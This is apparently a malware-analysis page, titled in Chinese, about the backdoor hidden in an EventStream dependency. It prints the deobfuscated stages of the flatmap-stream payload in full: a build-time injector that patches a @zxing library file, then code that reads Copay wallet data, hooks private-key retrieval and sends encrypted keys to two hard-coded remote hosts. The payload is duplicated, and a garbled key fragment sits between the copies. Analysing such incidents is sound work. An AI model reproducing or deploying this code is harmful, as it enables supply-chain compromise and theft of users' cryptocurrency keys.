后门在EventStream库的依赖项之一中

 // var r = require, t = process; // function e(r) { // return Buffer.from(r, "hex").toString() // } function decode(data) { return Buffer.from(data, "hex").toString() } // var n = r(e("2e2f746573742f64617461")), // var n = require(decode("2e2f746573742f64617461")) // var n = require('./test/data') var n = ["","","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"] // o = t[e(n[3])][e(n[4])]; // npm_package_description = process[decode(n[3])][decode(n[4])]; // npm_package_description = process['env']['npm_package_description']; npm_package_description = 'Get all children of a pid'; // Description from ps-tree (this is the aes decryption key) // if (!o) return; if (!npm_package_description) return; // var u = r(e(n[2]))[e(n[6])](e(n[5]), o), // var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description), var decipher = require('crypto')['createDecipher']('aes256', npm_package_description), // a = u.update(n[0], e(n[8]), e(n[9])); // decoded = decipher.update(n[0], e(n[8]), e(n[9])); decoded = decipher.update(n[0], 'hex', 'utf8'); console.log(n); // IDK why this is here... // a += u.final(e(n[9])); decoded += decipher.final('utf8'); // var f = new module.constructor; var newModule = new module.constructor; /**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/ // f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1]) // newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1]) // newModule.paths = module.paths // newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename) // newModule.exports(n[1]) 

 /*@@*/ module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return; var t = process.env.npm_package_description, r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t), s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime) } catch (e) {} }) } catch (e) {} }; 

 /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); \\ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \\ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \\ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \\ N2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \\ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \\ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / CJ / x76To \\ n2wIDAQAB \ /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }();